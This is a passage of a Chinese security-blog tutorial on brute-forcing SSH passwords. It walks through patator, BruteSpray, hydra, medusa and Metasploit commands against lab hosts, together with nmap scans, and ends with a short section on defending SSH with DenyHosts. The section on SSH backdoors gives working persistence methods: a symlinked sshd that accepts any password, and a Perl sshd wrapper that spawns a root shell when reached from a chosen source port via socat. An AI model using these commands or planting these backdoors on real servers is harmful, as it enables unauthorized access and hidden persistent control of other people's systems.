  +vmauthd_login : 暴力破解 VMware Authentication Daemon

  +mssql_login   : 暴力破解 MSSQL

  +oracle_login  : 暴力破解 Oracle

  +mysql_login   : 暴力破解 MySQL

  +mysql_query   : 暴力破解 MySQLqueries

  +rdp_login     : 暴力破解 RDP(NLA)

  +pgsql_login   : 暴力破解PostgreSQL

  +vnc_login     : 暴力破解 VNC

  +dns_forward   : 正向DNS 查询

  +dns_reverse   : 反向 DNS 查询

  +snmp_login    : 暴力破解 SNMPv1/2/3

  +ike_enum      : 枚举 IKE 传输

  +unzip_pass    : 暴力破解 ZIP加密文件

  +keystore_pass : 暴力破解Java keystore files的密码

  +sqlcipher_pass : 暴力破解加密数据库SQL Cipher的密码-

  +umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes

  +tcp_fuzz      : Fuzz TCP services

  +dummy_test    : 测试模块

3.实战破解

(1)查看详细帮助信息

执行“./patator.pyssh_login –help“命令后即可获取其参数的详细使用信息,如图7所示,在ssh暴力破解模块ssh_login中需要设置host,port,user,password等参数。

Linux SSH密码暴力破解技术及攻防实战

图7查看帮助信息

(2)执行单一用户密码破解

对主机192.168.157.131,用户root,密码文件为/root/newpass.txt进行破解,如图8所示,破解成功后会显示SSH登录标识“SSH-2.0-OpenSSH_7.5p1Debian-10“,破解不成功会显示” Authentication failed. “提示信息,其破解时间为2秒,速度很快!

./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt

Linux SSH密码暴力破解技术及攻防实战

图8破解单一用户密码

(3)破解多个用户。用户文件为/root/user.txt,密码文件为/root/newpass.txt,破解效果如图9所示。

./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt

Linux SSH密码暴力破解技术及攻防实战

图9使用patator破解多用户的密码

五、使用BrutesPray暴力破解SSH密码

BruteSpray是一款基于nmap扫描输出的gnmap/XML文件,自动调用Medusa对服务进行爆破(Medusa美杜莎是一款端口爆破工具,在前面的文章中对其进行了介绍),声称速度比hydra快,其官方项目地址:https://github.com/x90skysn3k/brutespray。BruteSpray调用medusa,其说明中声称支持ssh、ftp、telnet、vnc、mssql、mysql、postgresql、rsh、imap、nntp、pcanywhere、pop3、rexec、rlogin、smbnt、smtp、svn和vmauthd协议账号暴力破解。

1.安装及下载

(1)普通下载地址

https://codeload.github.com/x90skysn3k/brutespray/zip/master

(2)kali下安装

   BruteSpray默认没有集成到kali Linux中,需要手动安装,有的需要先在kali中执行更新,apt-get update 后才能执行安装命令:

apt-getinstall brutespray

kali Linux默认安装其用户和密码字典文件位置:/usr/share/brutespray/wordlist。

(3)手动安装

git clonehttps://github.com/x90skysn3k/brutespray.git

cdbrutespray

pipinstall -r requirements.txt

注意如果在其它环境安装需要安装medusa,否则会执行报错。

2.BrutesPray使用参数

用法: brutespray.py [-h] -f FILE [-o OUTPUT] [-sSERVICE] [-t THREADS] [-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME] [-pPASSWORD] [-c] [-i]

用法: python brutespray.py <选项>

选项参数:

  -h, –help  显示帮助信息并退出

菜单选项:

  -f FILE, –file FILE  参数后跟一个文件名, 解析nmap输出的GNMAP或者XML文件

  -o OUTPUT, –output OUTPUT   包含成功尝试的目录

  -s SERVICE, –service SERVICE  参数后跟一个服务名, 指定要攻击的服务                      

  -t THREADS, –threads THREADS  参数后跟一数值,指定medusa线程数                       

  -T HOSTS, –hosts HOSTS  参数后跟一数值,指定同时测试的主机数                     

  -U USERLIST, –userlist USERLIST 参数后跟用户字典文件

  -P PASSLIST, –passlist PASSLIST 参数后跟密码字典文件

  -u USERNAME, –username USERNAME 参数后跟用户名,指定一个用户名进行爆破

  -p PASSWORD, –password PASSWORD 参数后跟密码,指定一个密码进行爆破                     

  -c, –continuous      成功之后继续爆破

  -i, –interactive     交互模式

3.使用nmap进行端口扫描

(1)扫描整个内网C段

nmap -v192.168.17.0/24 -oX nmap.xml

(2)扫描开放22端口的主机

nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml

(3)扫描存活主机

nmap –sP 192.168.17.0/24-oX nmaplive.xml

(4)扫描应用程序以及版本号

nmap  -sV –O 192.168.17.0/24 -oX nmap.xml

4.暴力破解SSH密码

(1)交互模式破解

python brutespray.py --file nmap.xml –i

执行后,程序会自动识别nmap扫描结果中的服务,根据提示选择需要破解的服务,线程数、同时暴力破解的主机数,指定用户和密码文件,如图 10所示。Brutespray破解成功后在屏幕上会显示“SUCCESS ”信息。

Linux SSH密码暴力破解技术及攻防实战

图10交互模式破解密码

(2)通过指定字典文件爆破SSH

pythonbrutespray.py --file 22.xml -U /usr/share/brutespray/wordlist/ssh/user -P/usr/share/brutespray/wordlist/ssh/password --threads 5 --hosts 5

 注意:

brutespray新版本的wordlist地址为/usr/share/brutespray/wordlist,其下包含了多个协议的用户名和密码,可以到该目录完善这些用户文件和密码文件。22.xml为nmap扫描22端口生成的文件。

(3)暴力破解指定的服务

pythonbrutespray.py --file nmap.xml --service ftp,ssh,telnet --threads 5 --hosts 5

(4)指定用户名和密码进行暴力破解

当在内网已经获取了一个密码后,可以用来验证nmap扫描中的开放22端口的服务器,如图11所示,对192.168.17.144和192.168.17.147进行root密码暴力破解,192.168.17.144密码成功破解。

pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5

./brutespray.py -f 22.xml -u root -p toor--threads 5 --hosts 5

Linux SSH密码暴力破解技术及攻防实战

图11 对已知口令进行密码破解

(5)破解成功后继续暴力破解

python brutespray.py --file nmap.xml--threads 5 --hosts 5 –c

  前面的命令是默认破解成功一个帐号后,就不再继续暴力破解了,此命令是对所有账号进行暴力破解,其时间稍长。

(6)使用Nmap扫描生成的nmap.xml进行暴力破解

pythonbrutespray.py --file nmap.xml --threads 5 --hosts 5

5.查看破解结果

Brutespray这一点做的非常好,默认会在程序目录/brutespray-output/目录下生成ssh-success.txt文件,使用cat ssh-success.txt命令即可查看破解成功的结果,如图12所示。

Linux SSH密码暴力破解技术及攻防实战

图12查看破解成功的记录文件

也可以通过命令搜索ssh-success 文件的具体位置:find / -name ssh-success.txt

6.登录破解服务器

使用ssh user@host命令登录host服务器。例如登录192.168.17.144:

ssh root@192.168.17.144 

输入密码即可正常登录服务器192.168.17.144。

六、Msf下利用ssh_login模块进行暴力破解

1.msf下有关SSH相关模块

在kali中执行“msfconsole”-“search ssh”后会获取相关所有ssh模块,如图13所示。

Linux SSH密码暴力破解技术及攻防实战

图13 msf下所有SSH漏洞以及相关利用模块

2.SSH相关功能模块分析

(1)SSH用户枚举

此模块使用基于时间的攻击枚举用户OpenSSH服务器。在一些OpenSSH的一些版本

配置,OpenSSH会返回一个“没有权限”无效用户的错误比有效用户快。使用命令如下:

use auxiliary/scanner/ssh/ssh_enumusers

set rhost 191.168.17.147

set USER_FILE  /root/user

run

使用info命令可以查看该模块的所有信息,执行效果如图14所示,实测该功能有一些限制,仅仅对OpenSSH某些版本效果比较好。

Linux SSH密码暴力破解技术及攻防实战

图14 openssh用户枚举

(2)SSH版本扫描

查看远程主机的SSH服务器版本信息,命令如下:

use auxiliary/scanner/ssh/ssh_version

set rhosts 192.168.157.147

run

执行效果如图15所示,分别对centos服务器地址192.168.157.147和kali linux 地址192.168.157.144进行扫描,可以看出一个是SSH-2.0-OpenSSH_5.8p1Debian-1ubuntu3,另外一个是SSH-2.0-OpenSSH_7.5p1 Debian-10,看到第一个版本,第一时间就可以想到如果拿到权限可以安装ssh后门。

Linux SSH密码暴力破解技术及攻防实战

图15扫描ssh版本信息

(3)SSH暴力破解

ssh暴力破解模块“auxiliary/scanner/ssh/ssh_login”可以对单机进行单用户,单密码进行扫描破解,也可以使用密码字典和用户字典进行破解,按照提示进行设置即可。下面使用用户名字典以及密码字典进行暴力破解:

use auxiliary/scanner/ssh/ssh_login

setrhosts 192.168.17.147

setPASS_FILE /root/pass.txt

setUSER_FILE /root/user.txt

run

如图16所示,对IP地址192.168.17.147进行暴力破解,成功获取root账号密码,网上有人写文章说可以直接获取shell,实际测试并否如此,通过sessions -l可以看到msf确实建立会话,但切换(sessions -i 1)到会话一直没有反应。  

Linux SSH密码暴力破解技术及攻防实战

图16使用msf暴力破解ssh密码

七、ssh后门

1. 软连接后门

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223;

经典后门使用ssh root@x.x.x.x -p 33223直接对sshd建立软连接,之后用任意密码登录即可。

但这隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。

2.SSH Server wrapper后门

(1)复制sshd到bin目录

cd /usr/sbin

mv sshd ../bin

(2)编辑sshd

vi sshd //加入以下内容并保存

#!/usr/bin/perl

exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);

exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

(4)修改权限

chmod 755 sshd

(5)使用socat

socat STDIOTCP4:target_ip:22,sourceport=19526

如果没有安装socat需要进行安装并编译

wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz

tar -zxvf socat-1.7.3.2.tar.gz

cd socat-1.7.3.2

./configure

make

make install

(6)使用ssh root@ target_ip即可免密码登录

3.ssh公钥免密

将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录服务器。

chmod 600 ~/.ssh/authorized_keys

chmod 700 ~/.ssh

八、ssh暴力破解命令总结及分析

1.所有工具的比较

通过对hydra、medusa、patator、brutepray以及msf下的ssh暴力破解测试,总结如下:

(1)每款软件都能成功对ssh账号以及密码进行破解。

(2)patator和brutepray是通过python语言编写,但brutepray需要medusa配合支持。

(3)hydra和medusa是基于C语言编写的,需要进行编译。

(4)brutepray基于nmap扫描结果来进行暴力破解,在对内网扫描后进行暴力破解效果好。

(5)patator基于python,速度快,兼容性好,可以在windows或者linux下稍作配置即可使用。

(6)如果具备kali条件或者PentestBox下,使用msf进行ssh暴力破解也不错。

(7)brutepray会自动生成破解成功日志文件/brutespray-output/ssh-success.txt;hydra加参数“-o save.log”记录破解成功到日志文件save.log,medusa加“-O ssh.log”参数可以将成功破解的记录记录到ssh.log文件中;patator可以加参数“-x ignore:mesg=’Authentication failed.’”来忽略破解失败的尝试,而仅仅显示成功的破解。

2.命令总结

(1)hydra破解ssh密码

hydra -lroot  -P pwd2.dic -t 1 -vV -e ns 192.168.44.139ssh

hydra -lroot  -P pwd2.dic -t 1 -vV -e ns  -o save.log  192.168.44.139  ssh

(2)medusa破解ssh密码

medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt

medusa -M ssh -h192.168.157.131 -u root -P /root/newpass.txt -e ns –F

(3)patator破解ssh密码

./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

如果不是本地安装,则使用patator执行即可。

(4)brutespray暴力破解ssh密码

nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml

pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5

(5)msf暴力破解ssh密码

use auxiliary/scanner/ssh/ssh_login

set rhosts192.168.17.147

setPASS_FILE /root/pass.txt

setUSER_FILE /root/user.txt

run

九、 SSH暴力破解安全防范

1.修改/etc/ssh/sshd_config默认端口为其它端口。例如设置端口为2232,则port=2232

2.在/etc/hosts.allow中设置允许的IP访问,例如sshd:192.168.17.144:allow

3.使用DenyHosts软件来设置,其下载地址:

https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download

(1)安装cdDenyHosts

# tar-zxvf DenyHosts-2.6.tar.gz

# cdDenyHosts-2.6

# pythonsetup.py install

默认是安装到/usr/share/denyhosts目录的。

(2)配置cdDenyHosts

# cd/usr/share/denyhosts/

# cpdenyhosts.cfg-dist denyhosts.cfg

# videnyhosts.cfg

PURGE_DENY= 50m #过多久后清除已阻止IP

HOSTS_DENY= /etc/hosts.deny #将阻止IP写入到hosts.deny

BLOCK_SERVICE= sshd #阻止服务名

DENY_THRESHOLD_INVALID= 1 #允许无效用户登录失败的次数

DENY_THRESHOLD_VALID= 10 #允许普通用户登录失败的次数

DENY_THRESHOLD_ROOT= 5 #允许root登录失败的次数

WORK_DIR= /usr/local/share/denyhosts/data #将deny的host或ip纪录到Work_dir中

DENY_THRESHOLD_RESTRICTED= 1 #设定 deny host 写入到该资料夹

LOCK_FILE= /var/lock/subsys/denyhosts #将DenyHOts启动的pid纪录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务。

HOSTNAME_LOOKUP=NO#是否做域名反解

ADMIN_EMAIL= #设置管理员邮件地址

DAEMON_LOG= /var/log/denyhosts #自己的日志文件

DAEMON_PURGE= 10m #该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间。

(3)设置启动脚本

# cpdaemon-control-dist daemon-control

# chownroot daemon-control

# chmod700 daemon-control

完了之后执行daemon-contronstart就可以了。

#./daemon-control start

如果要使DenyHosts每次重起后自动启动还需做如下设置:

# ln -s/usr/share/denyhosts/daemon-control /etc/init.d/denyhosts

#chkconfig --add denyhosts

#chkconfig denyhosts on

#service denyhosts start

可以看看/etc/hosts.deny内是否有禁止的IP,有的话说明已经成功了。

以上内容来之本次专题研究内容之一,只有踏踏实实的做技术研究,才发现研究越多,知识面扩展越多。

*本文原创作者:simeon,本文属FreeBuf原创奖励计划,未经许可禁止转载